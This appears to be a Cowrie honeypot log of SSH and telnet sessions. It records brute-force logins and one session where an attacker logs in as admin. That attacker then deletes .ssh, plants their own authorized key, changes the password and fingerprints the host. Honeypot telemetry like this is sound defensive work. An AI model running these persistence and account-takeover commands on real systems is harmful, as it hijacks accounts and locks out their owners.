{"eventid":"cowrie.session.closed","duration":30.586642265319824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:27.301902Z","src_ip":"104.245.105.2","session":"2fea6b95ad2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194113731384277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:39.122446Z","src_ip":"104.245.105.2","session":"4aff1db745f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54526,"dst_ip":"10.17.0.5","dst_port":23,"session":"234aa08ddf26","protocol":"telnet","message":"New connection: 104.245.105.2:54526 (10.17.0.5:23) [session: 234aa08ddf26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:52.342454Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41350,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdcf7760cf37","protocol":"ssh","message":"New connection: 2.57.122.238:41350 (10.17.0.5:22) [session: bdcf7760cf37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:58.728666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:58.733045Z","src_ip":"2.57.122.238","session":"bdcf7760cf37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:58.840321Z","src_ip":"2.57.122.238","session":"bdcf7760cf37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:59.152498Z","src_ip":"2.57.122.238","session":"bdcf7760cf37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:00.260327Z","src_ip":"2.57.122.238","session":"bdcf7760cf37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":35156,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6b745be44b1","protocol":"ssh","message":"New connection: 186.113.245.157:35156 (159.203.135.109:22) [session: c6b745be44b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:05.903066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:05.908556Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:06.001399Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123456","message":"login attempt [admin/Admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:06.396412Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:06.626258Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:06.629666Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:06.633806Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:06.727704Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:06.951398Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:06.954760Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:07.049418Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:07.052543Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":35588,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc57d4c3d68d","protocol":"ssh","message":"New connection: 186.113.245.157:35588 (159.203.135.109:22) [session: bc57d4c3d68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:07.139895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:07.144339Z","src_ip":"186.113.245.157","session":"bc57d4c3d68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:07.234320Z","src_ip":"186.113.245.157","session":"bc57d4c3d68d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:07.636482Z","src_ip":"186.113.245.157","session":"bc57d4c3d68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:08.729457Z","src_ip":"186.113.245.157","session":"bc57d4c3d68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":36180,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce934ce56325","protocol":"ssh","message":"New connection: 186.113.245.157:36180 (159.203.135.109:22) [session: ce934ce56325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:08.816789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:08.820947Z","src_ip":"186.113.245.157","session":"ce934ce56325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:08.971034Z","src_ip":"186.113.245.157","session":"ce934ce56325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:09.319741Z","src_ip":"186.113.245.157","session":"ce934ce56325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.413369Z","src_ip":"186.113.245.157","session":"ce934ce56325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.563292Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.566957Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.666396Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.887788Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin123456\\nF0T0GH8t7Ahf\\nF0T0GH8t7Ahf\"|passwd|bash","message":"CMD: echo -e \"Admin123456\\nF0T0GH8t7Ahf\\nF0T0GH8t7Ahf\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.891373Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.895352Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.899069Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9385a5c50db7fb0f38cb72d9a04843e6d07ca4e87d3037e2c5e5769c00e8c185","size":32,"shasum":"9385a5c50db7fb0f38cb72d9a04843e6d07ca4e87d3037e2c5e5769c00e8c185","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/9385a5c50db7fb0f38cb72d9a04843e6d07ca4e87d3037e2c5e5769c00e8c185 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:10.991828Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:11.225450Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin123456\\nF0T0GH8t7Ahf\\nF0T0GH8t7Ahf\\n\"|passwd","message":"CMD: echo \"Admin123456\\nF0T0GH8t7Ahf\\nF0T0GH8t7Ahf\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:11.228987Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/103481f38709b64902d00db12d2852a9c944e3c4878aadbd7203cc1881fad65d","size":25,"shasum":"103481f38709b64902d00db12d2852a9c944e3c4878aadbd7203cc1881fad65d","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/103481f38709b64902d00db12d2852a9c944e3c4878aadbd7203cc1881fad65d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:11.322671Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:11.592018Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:11.595375Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:11.694989Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:11.921573Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:11.924953Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.019388Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.243970Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.247204Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.250635Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.356542Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
